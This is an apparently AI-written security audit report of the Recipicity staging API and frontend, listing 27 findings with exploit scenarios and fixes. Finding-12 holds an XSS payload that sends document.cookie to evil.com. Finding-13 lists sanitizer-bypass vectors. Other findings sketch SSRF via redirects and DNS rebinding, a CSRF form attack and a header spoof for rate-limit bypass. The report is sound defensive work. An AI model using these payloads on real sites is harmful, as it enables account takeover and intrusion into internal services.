Recipicity Staging -- Security Audit Report¶
Auditor: Claude Opus 4.6 (Security Audit Mode)
Date: 2026-02-25
Scope: /opt/development/recipicity/staging/recipicity-api/ and /opt/development/recipicity/staging/recipicity-frontend/
Classification: CONFIDENTIAL
Executive Summary¶
The Recipicity codebase demonstrates a generally solid security posture with many industry best practices already implemented (parameterized queries via Prisma, rate limiting, helmet, hashed reset tokens, separate admin JWT secrets, security headers, MFA support). However, the audit identified 4 Critical, 6 High, 10 Medium, and 7 Low severity findings that should be addressed to harden the application.
Findings¶
FINDING-01: API Dockerfile Runs as Root¶
Severity: CRITICAL
Category: Docker Security
File: /opt/development/recipicity/staging/recipicity-api/Dockerfile
Description: The API production stage uses the mcr.microsoft.com/playwright:v1.58.2-jammy base image and never switches to a non-root user. The container process runs as root, meaning any RCE vulnerability (e.g., via Playwright, dependency exploit, or uploaded file) grants the attacker root inside the container.
Evidence:
# Production / Staging stage
FROM mcr.microsoft.com/playwright:v1.58.2-jammy
WORKDIR /app
# ... no USER directive ...
CMD ["node", "dist/server.js"]
Compare with the frontend Dockerfile which correctly creates a non-root user:
Exploit Scenario: An attacker exploits a vulnerability in Playwright (headless Chromium), a dependency, or the image processing pipeline (sharp). Running as root, they can read Docker secrets from /run/secrets/, modify the application code, pivot to other containers on the overlay network, or escape the container in certain kernel configurations.
Remediation:
RUN groupadd -r appuser && useradd -r -g appuser -d /app -s /sbin/nologin appuser
RUN chown -R appuser:appuser /app
USER appuser
FINDING-02: optionalAuthMiddleware Does Not Validate User Active Status or Token Revocation¶
Severity: CRITICAL
Category: Authentication
File: /opt/development/recipicity/staging/recipicity-api/src/middleware/auth.ts (lines 79-114)
Description: The optionalAuthMiddleware function verifies the JWT signature but does NOT check:
1. Whether the user account is still active
2. Whether the token was issued before a password change (passwordChangedAt)
3. Whether the token is expired (catches errors silently, continues as authenticated)
The main authMiddleware correctly performs these checks (lines 39-57), but optionalAuthMiddleware does not.
Evidence:
export const optionalAuthMiddleware = (req, res, next): void => {
try {
const token = authHeader.substring(7);
const decoded = jwt.verify(token, process.env.JWT_SECRET!) as { userId, email };
req.user = { userId: decoded.userId, email: decoded.email };
// NO check for user.active
// NO check for passwordChangedAt vs iat
next();
} catch (_error) {
next(); // Silently continues even with invalid token
}
};
Exploit Scenario: A deactivated or banned user whose account has been set to active: false can still use their existing JWT to access all optionalAuth endpoints and appear as an authenticated user. This affects recipe viewing (seeing personalized data), user search (appearing in follow status), comments viewing, tag browsing, and CCPA/support routes. An attacker who stole a token before a password change can continue using it on these routes.
Impacted Routes (all use optionalAuthMiddleware):
- GET /api/recipes (listing), GET /api/recipes/:id (detail)
- GET /api/users/search, GET /api/users/:username, GET /api/users/:username/recipes
- GET /api/users/:username/followers, GET /api/users/:username/following
- GET /api/comments/recipe/:recipeId
- GET /api/tags
- POST /api/ccpa/do-not-sell/request, POST /api/ccpa/consumer-request
- POST /api/support (bug reports)
Remediation: Add database validation to optionalAuthMiddleware or create a lightweight cache-backed user status check:
export const optionalAuthMiddleware = async (req, res, next) => {
try {
const token = authHeader.substring(7);
const decoded = jwt.verify(token, process.env.JWT_SECRET!);
const user = await prisma.user.findUnique({
where: { id: decoded.userId },
select: { active: true, passwordChangedAt: true },
});
if (!user?.active) { next(); return; }
if (user.passwordChangedAt && decoded.iat < Math.floor(user.passwordChangedAt.getTime() / 1000)) {
next(); return;
}
req.user = { userId: decoded.userId, email: decoded.email };
next();
} catch { next(); }
};
FINDING-03: No CSRF Protection on API Mutation Endpoints (Direct API Access)¶
Severity: CRITICAL
Category: CSRF
Files: /opt/development/recipicity/staging/recipicity-api/src/server.ts, all mutation routes, /opt/development/recipicity/staging/recipicity-frontend/src/app/bff/api/[...path]/route.ts
Description: The API relies exclusively on Bearer token authentication via the Authorization header and has no CSRF token mechanism. While Bearer tokens in Authorization headers are inherently CSRF-resistant (browsers do not auto-attach them), the frontend BFF proxy at /bff/api/[...path]/route.ts reads the token from a cookie (recipicity_token) and converts it to a Bearer header. This means the cookie-based auth path IS vulnerable to CSRF if the cookie lacks SameSite=Strict.
The BFF route does have an origin check for mutating requests:
if (request.method !== "GET" && request.method !== "HEAD") {
const origin = request.headers.get("origin");
if (origin && !ALLOWED_ORIGINS.includes(origin)) {
return NextResponse.json({ error: "Forbidden" }, { status: 403 });
}
}
However, this check passes if origin is null -- which happens for same-origin form submissions, bookmarklets, and certain redirect-based attacks. An attacker can craft a form submission with no Origin header in certain browsers.
Exploit Scenario: An attacker hosts a page with a hidden form that POSTs to https://staging.recipicity.com/bff/api/social/recipes/TARGET_ID/like (or worse, /bff/api/data-deletion to request account deletion). If the victim visits the page while logged in and the browser sends the recipicity_token cookie, the BFF proxy will convert it to a Bearer token and forward the request. The null-origin bypass means the CSRF check may not trigger.
Remediation:
1. Set the recipicity_token cookie with SameSite=Strict (or at minimum SameSite=Lax).
2. Reject requests where origin is null/absent for mutating methods in the BFF proxy.
3. Consider adding a X-CSRF-Token header check or double-submit cookie pattern.
FINDING-04: Server-Side Request Forgery (SSRF) via Recipe Import URL¶
Severity: CRITICAL
Category: SSRF / Injection
Files: /opt/development/recipicity/staging/recipicity-api/src/routes/recipeImport.routes.ts, /opt/development/recipicity/staging/recipicity-api/src/services/browserFetch.service.ts
Description: The recipe import feature accepts arbitrary URLs from authenticated users and fetches them server-side. While browserFetch.service.ts has a blocklist for private IPs, the protection has gaps:
- DNS rebinding: An attacker controls
evil.comwhich initially resolves to a public IP (passing validation) but then resolves to192.168.51.30(the production server) when the browser actually connects. - IPv6 bypass: The blocklist only checks IPv4 private ranges. IPv6 equivalents (
::1,fe80::,fc00::) are not blocked. - Redirect-based bypass: After URL validation passes, the headless Chromium browser will follow HTTP redirects to internal hosts. The validation only checks the initial URL, not the final destination.
- Cloud metadata: While
169.254.andmetadata.googleare blocked, AWS-specifichttp://instance-data/and Azurehttp://169.254.169.254/metadata/may not be covered by the pattern match. - Port scanning: Even blocked destinations reveal information via timing differences in error responses.
Evidence:
const BLOCKED_DOMAINS = [
'localhost', '127.0.0.1', '0.0.0.0', '10.', '172.16.', ...
'192.168.', 'internal', '.local', 'metadata.google', '169.254.',
];
// Only checks hostname of initial URL, not followed redirects
// No IPv6 blocking
// No DNS rebinding protection
Exploit Scenario: An authenticated attacker submits a recipe import for https://attacker.com/recipe which returns a 302 redirect to http://192.168.51.30:5432/ (PostgreSQL). The headless browser follows the redirect and returns error content that may leak information about internal services. More critically, an attacker could use DNS rebinding to make the browser connect to internal services like Redis, MinIO, or the Docker API.
Remediation:
1. Resolve the hostname to an IP address BEFORE making the request, and validate the resolved IP against the blocklist.
2. Add IPv6 private range blocking (::1, fe80::, fc00::, fd00::).
3. Intercept and validate redirect targets in Playwright before following them.
4. Use a network-level firewall rule to prevent the API container from accessing internal services on non-API ports.
5. Consider using a dedicated egress proxy for outbound requests.
FINDING-05: Admin Auth Bypass via Path Manipulation¶
Severity: HIGH
Category: Authorization
File: /opt/development/recipicity/staging/recipicity-api/src/middleware/adminAuth.ts (lines 36-39)
Description: The admin auth middleware skips authentication for paths ending in /auth/login:
The req.path.endsWith('/auth/login') check is overly broad. If any admin sub-route is mounted in a way that makes req.path contain /auth/login as a suffix (e.g., via URL encoding tricks, double slashes, or route concatenation), the auth check is bypassed.
In the current route structure (/api/admin/auth is mounted with authLimiter before adminAuthMiddleware is applied), this is mitigated because auth routes are mounted separately. However, if a future route like /api/admin/someroute/auth/login were added, it would bypass authentication entirely.
Exploit Scenario: If a developer adds a new admin route that inadvertently contains /auth/login in its path, all requests to that route bypass authentication. Additionally, certain web servers/proxies normalize paths differently -- //auth/login or /auth/login%00 might match the suffix check.
Remediation: Use an exact path match or a dedicated skip list:
FINDING-06: Swagger API Documentation Exposed in Production¶
Severity: HIGH
Category: Information Disclosure
File: /opt/development/recipicity/staging/recipicity-api/src/server.ts (line 205)
Description: The Swagger UI documentation is unconditionally served at /api/docs:
This is not gated behind any environment check or authentication. In production, this exposes the complete API surface, all endpoint paths, request/response schemas, and security requirements to any anonymous user.
Exploit Scenario: An attacker visits https://staging.recipicity.com/api/docs and gets a complete map of every API endpoint, expected parameters, and authentication requirements. This dramatically reduces the effort needed to find and exploit vulnerabilities.
Remediation:
if (process.env.NODE_ENV !== 'production') {
app.use('/api/docs', swaggerUi.serve, swaggerUi.setup(swaggerSpec));
}
FINDING-07: Data Deletion Request Status Endpoint Has No Authentication¶
Severity: HIGH
Category: Authorization / Information Disclosure
File: /opt/development/recipicity/staging/recipicity-api/src/routes/data-deletion.ts (lines 165-191)
Description: The GET /api/data-deletion/status/:requestId endpoint returns deletion request details (including email address, delete type, status) without any authentication:
router.get('/status/:requestId', asyncHandler(async (req, res) => {
const deletionRequest = await prisma.dataDeletionRequest.findUnique({
where: { id: requestId },
select: { id: true, email: true, deleteType: true, status: true, ... },
});
return res.json(deletionRequest);
}));
Exploit Scenario: Request IDs are CUIDs which are partially predictable (timestamp-based). An attacker can enumerate request IDs to discover which email addresses have submitted data deletion requests, leaking PII and indicating the user is attempting to leave the platform.
Remediation: Add authMiddleware and verify the requesting user owns the deletion request:
router.get('/status/:requestId', authMiddleware, asyncHandler(async (req, res) => {
const userId = getUserId(req);
const deletionRequest = await prisma.dataDeletionRequest.findUnique({
where: { id: requestId },
});
if (!deletionRequest || deletionRequest.userId !== userId) {
return res.status(404).json({ error: 'Request not found' });
}
// ...
}));
FINDING-08: JWT Token Not Stored in httpOnly Cookie for Web Clients¶
Severity: HIGH
Category: Token Security
Files: /opt/development/recipicity/staging/recipicity-api/src/routes/auth.ts
Description: The API returns JWT tokens directly in JSON response bodies:
The frontend stores this token client-side (likely in localStorage or a JavaScript-accessible variable) and sends it via the Authorization header. While the BFF proxy reads from a cookie (recipicity_token), there is no evidence that this cookie is set with httpOnly, secure, and SameSite flags by the server. The cookie appears to be set client-side from the token received in the JSON response.
Exploit Scenario: Any XSS vulnerability (even a third-party script from the CDNs listed in CSP -- cdn.jsdelivr.net, pagead2.googlesyndication.com, www.googletagmanager.com) can read the JWT from localStorage or JavaScript-accessible cookies and exfiltrate it, achieving full account takeover.
Remediation:
1. Set the auth token as an httpOnly, secure, SameSite=Strict cookie from the server.
2. Remove the token from JSON response bodies.
3. Use the BFF proxy pattern consistently (already partially implemented).
FINDING-09: Unsubscribe Endpoint Leaks User Email in HTML¶
Severity: HIGH
Category: Information Disclosure
File: /opt/development/recipicity/staging/recipicity-api/src/routes/unsubscribe.ts (line 213)
Description: The unsubscribe page displays the user's full email address in the HTML response:
The unsubscribe token is a JWT signed with JWT_SECRET and has a 90-day expiry. Anyone who obtains this token (e.g., from email forwarding, shared screenshots, or URL in browser history) can view the associated email address without any additional authentication.
Exploit Scenario: Unsubscribe links are commonly shared in email forwarding chains, screenshots, or exposed in shared browser history. Each link reveals the email address of the original recipient.
Remediation: Mask the email address (e.g., j***@example.com) or remove it entirely from the HTML output.
FINDING-10: Unsubscribe Preview Endpoint Generates Valid Tokens for Any User ID¶
Severity: HIGH
Category: Authorization
File: /opt/development/recipicity/staging/recipicity-api/src/routes/unsubscribe.ts (lines 378-397)
Description: The endpoint GET /api/unsubscribe/preview/:userId generates a valid unsubscribe token for any arbitrary user ID. It checks process.env.NODE_ENV === 'production' but not for staging:
router.get('/preview/:userId', async (req, res) => {
if (process.env.NODE_ENV === 'production') {
return res.status(404).send('Not found');
}
const { userId } = req.params;
const token = generateUnsubscribeToken(userId, 'all');
return res.json({ token, link: `...` });
});
The API Dockerfile sets ENV NODE_ENV=production, so this may already be blocked in the deployed staging environment. However, the staging Swarm stack may override NODE_ENV to a non-production value. If NODE_ENV is not production in staging, this endpoint is fully accessible without authentication.
Exploit Scenario: An attacker calls GET /api/unsubscribe/preview/VICTIM_USER_ID on staging, gets a valid unsubscribe token, and uses it to unsubscribe any user from all emails. Combined with Finding-09, this also leaks the victim's email address.
Remediation: Either remove this endpoint entirely or gate it behind admin authentication, not just an environment check.
FINDING-11: Admin Logout Session Invalidation is Broken¶
Severity: MEDIUM
Category: Authentication
File: /opt/development/recipicity/staging/recipicity-api/src/routes/admin/auth.ts (lines 225-247)
Description: The logout endpoint hashes the current token with bcrypt.hash(token, 10) and tries to DELETE matching sessions:
const hashedToken = await bcrypt.hash(token, 10);
await prisma.$queryRaw`
DELETE FROM admin_sessions
WHERE admin_id = ${adminReq.admin.adminId}
AND token_hash = ${hashedToken}
`;
However, bcrypt generates a different hash each time due to random salt generation. The hash generated at logout will NEVER match the hash stored at login. This means DELETE ... WHERE token_hash = ${hashedToken} will match zero rows. Admin sessions are never actually invalidated on logout.
Exploit Scenario: An admin explicitly logs out but their session token remains valid in the database. If the token was intercepted (via network sniffing, XSS, or browser history), the attacker retains full admin access even after the legitimate admin logged out.
Remediation: Either: 1. Store a deterministic hash (SHA-256) of the token in sessions and compare using the same deterministic hash, or 2. Simply delete all sessions for the admin ID on logout:
FINDING-12: XSS via JSON-LD dangerouslySetInnerHTML¶
Severity: MEDIUM
Category: XSS
File: /opt/development/recipicity/staging/recipicity-frontend/src/components/seo/json-ld.tsx
Description: The JSON-LD component uses dangerouslySetInnerHTML to inject structured data:
If user-controlled data (recipe titles, descriptions, usernames) flows into the data object and contains a string like </script><script>alert(1)</script>, JSON.stringify will NOT escape the </script> sequence. The browser's HTML parser sees the closing </script> tag before the JSON is complete, allowing script injection.
Exploit Scenario: An attacker creates a recipe with title </script><script>document.location='https://evil.com/?c='+document.cookie</script>. When any user views this recipe's page (which renders JSON-LD for SEO), the injected script executes.
Remediation: Escape the </ sequence in JSON output:
<script type="application/ld+json"
dangerouslySetInnerHTML={{
__html: JSON.stringify(data).replace(/</g, '\\u003c')
}}
/>
FINDING-13: HTML Sanitizer Bypass in Security Middleware¶
Severity: MEDIUM
Category: XSS / Input Validation
File: /opt/development/recipicity/staging/recipicity-api/src/middleware/security.ts (lines 9-20)
Description: The stripDangerousHtml function uses regex-based sanitization which is inherently bypassable:
.replace(/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi, '')
.replace(/on\w+\s*=\s*["'][^"']*["']/gi, '')
.replace(/javascript\s*:/gi, '')
Known bypasses:
1. Event handlers without quotes: onfocus=alert(1) -- the regex requires quotes around the value in one branch.
2. HTML entities: javascript: bypasses the javascript\s*: check.
3. SVG/MathML vectors: <svg><animate onbegin=alert(1) attributeName=x dur=1s> -- nested elements in SVG context.
4. Meta refresh: <meta http-equiv="refresh" content="0;url=javascript:alert(1)"> -- <meta> tags are not stripped.
5. Base tag injection: <base href="https://evil.com/"> is not stripped, which can redirect all relative URLs.
Exploit Scenario: An attacker submits a comment or recipe description containing <svg/onload=alert(document.cookie)> or <meta http-equiv="refresh" content="0;url=data:text/html,<script>alert(1)</script>">. The regex sanitizer fails to strip it, and the content is stored in the database.
Remediation: Replace the custom regex sanitizer with a battle-tested library like DOMPurify (server-side via jsdom) or sanitize-html. Since the frontend uses React (which auto-escapes by default), the primary risk is in non-React rendering contexts (email templates, unsubscribe pages, admin panels).
FINDING-14: Admin Backup Includes Sensitive Data (admin_users, sessions)¶
Severity: MEDIUM
Category: Data Exposure
File: /opt/development/recipicity/staging/recipicity-api/src/routes/admin/database.ts (lines 378-412)
Description: The database backup endpoint exports admin_users and admin_sessions tables in full. While user passwords are excluded (good), admin password hashes, MFA secrets, and session tokens are included:
Exploit Scenario: An admin account is compromised. The attacker downloads a backup which contains all admin password hashes, MFA secrets, and active session tokens, enabling offline cracking and persistent access.
Remediation: Exclude sensitive fields from admin user backups:
prisma.adminUser.findMany({
select: { id: true, email: true, username: true, role: true, active: true }
}).catch(() => []),
admin_sessions in backups at all.
FINDING-15: Rate Limiter Skips All Internal IPs (Including Docker Overlay)¶
Severity: MEDIUM
Category: Rate Limiting Bypass
File: /opt/development/recipicity/staging/recipicity-api/src/middleware/rateLimiter.ts (lines 8-25)
Description: The isInternalIp function skips rate limiting for all requests from private IP ranges:
In a Docker Swarm environment, ALL requests arriving through Traefik/the ingress network will appear to come from the overlay network (typically 10.0.x.x). With trust proxy set to 1, Express should use X-Forwarded-For, but if Traefik is misconfigured or X-Forwarded-For is spoofable, all external traffic bypasses rate limiting.
Exploit Scenario: An attacker adds a fake X-Forwarded-For: 10.0.0.1 header. If the proxy chain is not properly configured, Express may use this spoofed IP, bypassing all rate limits including authentication rate limits (brute force protection).
Remediation:
1. Verify trust proxy is set to the exact number of proxies in the chain (currently set to 1 which is correct for single-proxy).
2. Remove the internal IP skip from the auth rate limiter (authLimiter in rateLimiter.ts correctly does NOT skip internal IPs -- good).
3. Consider whether skipping rate limits for internal IPs is necessary at all.
FINDING-16: CSP Allows unsafe-inline for Scripts¶
Severity: MEDIUM
Category: XSS Defense
File: /opt/development/recipicity/staging/recipicity-api/src/middleware/security.ts (line 79)
Description: The Content Security Policy includes 'unsafe-inline' for scripts:
script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net https://pagead2.googlesyndication.com https://www.googletagmanager.com
unsafe-inline effectively negates most XSS protection that CSP provides. It allows inline <script> tags and event handlers to execute.
Exploit Scenario: Any stored XSS payload (via bypassed sanitization) will execute because unsafe-inline is allowed.
Remediation: Replace 'unsafe-inline' with nonce-based CSP ('nonce-{random}') or hash-based CSP. This requires changes to how inline scripts are loaded in the frontend.
FINDING-17: CSP connect-src Allows All HTTPS and WebSocket Origins¶
Severity: MEDIUM
Category: Data Exfiltration
File: /opt/development/recipicity/staging/recipicity-api/src/middleware/security.ts (line 88)
Description:
This allows JavaScript to make fetch/XMLHttpRequest calls to ANY https:// or wss:// origin. If an XSS vulnerability is exploited, the attacker can exfiltrate data to any domain.
Remediation: Restrict connect-src to known API endpoints:
FINDING-18: Password Minimum Length Inconsistency¶
Severity: MEDIUM Category: Authentication Files: Multiple
Description: Password requirements are inconsistent across the codebase:
- Registration validation (/opt/development/recipicity/staging/recipicity-api/src/validation/auth.ts): 8 characters + uppercase + lowercase + number (strong)
- Reset password endpoint (/opt/development/recipicity/staging/recipicity-api/src/routes/auth.ts line 704): Only 6 characters, no complexity requirements
- Admin change password (/opt/development/recipicity/staging/recipicity-api/src/routes/admin/auth.ts line 307): Only 8 characters, no complexity requirements
Exploit Scenario: A user performs a password reset and sets a weak 6-character password like abc123, which is significantly weaker than the registration requirements.
Remediation: Apply the same strong password policy (8+ chars, uppercase, lowercase, number) consistently to all password-setting operations. Reuse the Joi validation schema.
FINDING-19: Broad img-src CSP Directive¶
Severity: MEDIUM
Category: Content Security Policy
File: /opt/development/recipicity/staging/recipicity-api/src/middleware/security.ts (line 82)
Description:
This allows loading images from ANY HTTP or HTTPS origin, and from data: URIs. This can be used for tracking pixels, CSRF-like attacks via image tags, and data exfiltration via image URLs.
Remediation: Restrict to known image sources:
FINDING-20: No Token Blocklist / Revocation Mechanism¶
Severity: MEDIUM
Category: Authentication
Files: /opt/development/recipicity/staging/recipicity-api/src/middleware/auth.ts, /opt/development/recipicity/staging/recipicity-api/src/routes/auth.ts
Description: There is no JWT token blocklist or revocation mechanism. While passwordChangedAt is checked against iat (good), this only covers password changes. There is no way to:
1. Invalidate a specific compromised token
2. Force logout all sessions for a user
3. Revoke tokens upon account deactivation (except on the next request that hits authMiddleware)
Exploit Scenario: A user reports their account compromised. Even after resetting the password, any tokens issued during the compromise window remain valid for up to 24 hours (token expiry).
Remediation: Implement a Redis-based token blocklist. On password reset, account deactivation, or forced logout, add the user's tokens (or a jti claim) to the blocklist checked in authMiddleware.
FINDING-21: MinIO Bucket Policy Allows Public Read Access¶
Severity: LOW
Category: Access Control
File: /opt/development/recipicity/staging/recipicity-api/src/routes/upload.ts (lines 65-77)
Description: The auto-created bucket policy grants public anonymous read access:
const policy = {
Statement: [{
Effect: 'Allow',
Principal: { AWS: ['*'] },
Action: ['s3:GetObject'],
Resource: [`arn:aws:s3:::${bucketName}/*`],
}],
};
While this is intentional for serving public images, it means ALL uploaded images (including deleted user avatars that may not have been removed) are permanently accessible if the filename is known. Object names use UUID which provides some obscurity but not true access control.
Exploit Scenario: An attacker who knows or guesses an image filename can access it directly from MinIO even after the user has "deleted" it from the application.
Remediation: Use signed URLs with expiration for image access instead of public bucket policies, or ensure that MinIO object deletion is reliably triggered when images are removed.
FINDING-22: Avatar Upload Does Not Validate Magic Bytes¶
Severity: LOW
Category: File Upload
File: /opt/development/recipicity/staging/recipicity-api/src/routes/users.ts (lines 194-270)
Description: The recipe image upload at /api/upload/image correctly validates magic bytes (line 205), but the avatar upload at /api/users/avatar only checks MIME type from the Content-Type header (set by the client) and does not validate magic bytes:
const avatarUpload = multer({
fileFilter: (req, file, cb) => {
const allowedTypes = ['image/jpeg', 'image/png', 'image/webp'];
if (allowedTypes.includes(file.mimetype)) { cb(null, true); }
// No magic byte validation!
},
});
Exploit Scenario: An attacker uploads a malicious file (e.g., HTML file with embedded JavaScript) with a spoofed Content-Type: image/jpeg header. The file is stored in MinIO with a .jpeg extension. Depending on how it is served, a browser might execute it as HTML.
Remediation: Apply the same validateImageMagicBytes check used in upload.ts to the avatar upload handler. Also run avatars through sharp for processing (which validates image integrity).
FINDING-23: Hardcoded Fallback Credentials for MinIO in Support Route¶
Severity: LOW
Category: Secrets Exposure
File: /opt/development/recipicity/staging/recipicity-api/src/routes/support.ts (lines 18-19)
Description:
const minioClient = new MinioClient({
accessKey: process.env.MINIO_ACCESS_KEY || process.env.MINIO_ROOT_USER || 'minioadmin',
secretKey: process.env.MINIO_SECRET_KEY || process.env.MINIO_ROOT_PASSWORD || 'minioadmin',
});
The fallback credentials minioadmin/minioadmin are the MinIO default credentials. If environment variables are not set, the service will attempt to connect with default credentials, which could work if MinIO was never reconfigured.
Remediation: Remove the hardcoded fallback and fail loudly if credentials are not configured:
if (!minioAccessKey || !minioSecretKey) {
throw new Error('FATAL: MinIO credentials must be configured');
}
upload.ts route correctly does this.)
FINDING-24: No Request Size Limit on Recipe Import Base64 Image¶
Severity: LOW
Category: Denial of Service
File: /opt/development/recipicity/staging/recipicity-api/src/routes/recipeImport.routes.ts (lines 71-77)
Description: The /from-image endpoint accepts base64-encoded images in the JSON body:
While Express has a 1MB JSON body limit (set in server.ts), a 1MB base64 string represents a ~750KB binary image, which is reasonable. However, the validation schema has no explicit max() constraint, relying entirely on the Express body parser limit.
Remediation: Add explicit max length validation:
FINDING-25: Missing Helmet crossOriginEmbedderPolicy¶
Severity: LOW
Category: Security Headers
File: /opt/development/recipicity/staging/recipicity-api/src/server.ts (lines 113-118)
Description:
app.use(helmet({
crossOriginEmbedderPolicy: false, // Disabled
contentSecurityPolicy: false, // Custom CSP used
}));
crossOriginEmbedderPolicy is explicitly disabled. While this may be necessary for loading cross-origin resources (images, ads), it reduces protection against Spectre-like side-channel attacks.
Remediation: Only disable if absolutely necessary for functionality. Consider using credentialless mode instead of fully disabling.
FINDING-26: Admin Test Endpoint Leaks Admin ID¶
Severity: LOW
Category: Information Disclosure
File: /opt/development/recipicity/staging/recipicity-api/src/routes/admin/index.ts (lines 55-60)
Description:
router.get('/test', (req, res) => {
const adminId = (req as ...).admin?.adminId;
res.json({ message: 'Admin API is working', admin: adminId });
});
While this is behind admin auth, it unnecessarily exposes the internal admin ID which could aid in targeting specific admin accounts.
Remediation: Remove admin ID from the response or remove this test endpoint entirely.
FINDING-27: Legacy Recipe Import Endpoint Trusts Client-Provided userId¶
Severity: LOW
Category: Authorization
File: /opt/development/recipicity/staging/recipicity-api/src/routes/recipeImport.routes.ts (lines 939-1000)
Description: The legacy /import endpoint accepts userId from the request body instead of extracting it from the authenticated token:
While this route requires authMiddleware, it uses the client-supplied userId instead of req.user.userId, allowing an authenticated user to create recipes under another user's account.
Exploit Scenario: An authenticated attacker calls POST /api/recipe-import/import with userId set to another user's ID, creating recipes attributed to the victim.
Remediation: Use req.user.userId instead of the body-supplied userId:
Summary Table¶
| # | Finding | Severity | Category |
|---|---|---|---|
| 01 | API Dockerfile runs as root | CRITICAL | Docker |
| 02 | optionalAuthMiddleware skips active/revocation checks | CRITICAL | AuthN |
| 03 | CSRF via BFF cookie-to-bearer conversion | CRITICAL | CSRF |
| 04 | SSRF via recipe import with DNS rebinding/redirect bypass | CRITICAL | SSRF |
| 05 | Admin auth path suffix bypass risk | HIGH | AuthZ |
| 06 | Swagger docs exposed in production | HIGH | Info Disclosure |
| 07 | Data deletion status endpoint unauthenticated | HIGH | AuthZ |
| 08 | JWT in response body, not httpOnly cookie | HIGH | Token Security |
| 09 | Unsubscribe page leaks user email | HIGH | Info Disclosure |
| 10 | Unsubscribe preview generates tokens for any user | HIGH | AuthZ |
| 11 | Admin logout session invalidation broken | MEDIUM | AuthN |
| 12 | XSS via JSON-LD script injection | MEDIUM | XSS |
| 13 | Regex-based HTML sanitizer bypassable | MEDIUM | XSS |
| 14 | Admin backup includes sensitive data | MEDIUM | Data Exposure |
| 15 | Rate limiter skips internal IPs (Docker overlay) | MEDIUM | Rate Limiting |
| 16 | CSP allows unsafe-inline for scripts | MEDIUM | XSS Defense |
| 17 | CSP connect-src allows all HTTPS origins | MEDIUM | Data Exfil |
| 18 | Password minimum length inconsistency | MEDIUM | AuthN |
| 19 | Broad img-src CSP directive | MEDIUM | CSP |
| 20 | No token blocklist/revocation mechanism | MEDIUM | AuthN |
| 21 | MinIO bucket allows public anonymous read | LOW | Access Control |
| 22 | Avatar upload skips magic byte validation | LOW | File Upload |
| 23 | Hardcoded MinIO fallback credentials | LOW | Secrets |
| 24 | No max length on base64 image import | LOW | DoS |
| 25 | Helmet COEP disabled | LOW | Headers |
| 26 | Admin test endpoint leaks admin ID | LOW | Info Disclosure |
| 27 | Legacy import endpoint trusts client userId | LOW | AuthZ |
Positive Security Observations¶
The following security measures were found and are commendable:
- Prisma ORM with parameterized queries -- No raw SQL injection vectors found. All
$queryRawuses tagged template literals (parameterized). No$queryRawUnsafeor$executeRawUnsafecalls detected. - No command injection -- No
child_process.exec,execSync, orspawncalls found in application code. - Separate admin JWT secret --
ADMIN_JWT_SECRETis validated to be different fromJWT_SECRETat startup, preventing token cross-usage. - Password hashing -- bcrypt with cost factor 12 (strong).
- Reset token hashing -- Reset tokens are hashed with SHA-256 before database storage.
- Account lockout -- 5 failed login attempts trigger a 15-minute lockout (both user and admin).
- Rate limiting -- Applied to auth, API, AI, and admin endpoints with appropriate limits.
- Input validation -- Joi schemas validate registration, login, and recipe import inputs.
- Security headers -- HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, Permissions-Policy all correctly configured.
- Apple Sign-In JWKS verification -- Proper cryptographic verification of Apple ID tokens with issuer/audience checks.
- OAuth code exchange -- Short-lived auth codes stored in Redis instead of passing JWT directly in redirect URLs.
- File upload -- 10MB limit, MIME type filtering, magic byte validation (on recipe images), image processing via Sharp.
- Error handling -- Server errors return generic messages; stack traces never sent to client.
- CORS whitelist -- Only specific origins allowed, not wildcard.
- SSRF blocklist -- Browser fetch service blocks private IP ranges and cloud metadata endpoints.
- Audit logging -- Admin actions logged to
AdminAuditLogtable with IP and user agent. - MFA support -- TOTP-based MFA for admin accounts with backup codes.
- Graceful shutdown -- Proper signal handling for SIGTERM/SIGINT.
- User enumeration protection -- Registration returns generic "email or username exists" message; forgot-password always returns success.
- JWT secret length validation -- Startup check ensures JWT secrets are at least 32 characters.
- Frontend BFF path allowlist -- Blocks access to
/adminand internal endpoints from the browser. - Frontend Dockerfile uses non-root user -- Properly creates
nextjs:nodejsuser with UID/GID 1001. - No secrets in frontend environment -- Only
NEXT_PUBLIC_*variables (public URLs) exposed to browser. - Docker secrets pattern -- Production uses
_FILEsuffix pattern for Docker secret injection. - Directory traversal protection -- Backup download validates filename format with strict regex.
Recommended Priority Actions¶
Immediate (Week 1)¶
- Add
USERdirective to API Dockerfile (Finding-01) - Add authentication to data deletion status endpoint (Finding-07)
- Remove or protect unsubscribe preview endpoint (Finding-10)
- Fix legacy import endpoint to use authenticated userId (Finding-27)
- Fix admin logout session invalidation (Finding-11)
Short-term (Week 2-3)¶
- Add active/revocation checks to optionalAuthMiddleware (Finding-02)
- Strengthen CSRF protection in BFF proxy (Finding-03)
- Add DNS resolution validation and redirect interception to SSRF protection (Finding-04)
- Gate Swagger docs behind environment check (Finding-06)
- Enforce consistent password policy (Finding-18)
- Mask email in unsubscribe page (Finding-09)
Medium-term (Month 1-2)¶
- Migrate to httpOnly cookie-based auth (Finding-08)
- Implement token blocklist in Redis (Finding-20)
- Replace regex sanitizer with DOMPurify (Finding-13)
- Tighten CSP directives (Findings-16, 17, 19)
- Fix JSON-LD XSS vector (Finding-12)
- Exclude sensitive data from admin backups (Finding-14)
Low Priority¶
- Add magic byte validation to avatar uploads (Finding-22)
- Remove hardcoded MinIO fallback credentials (Finding-23)
- Add max length to base64 image schema (Finding-24)
- Evaluate COEP re-enablement (Finding-25)
- Remove admin test endpoint (Finding-26)
End of security audit report.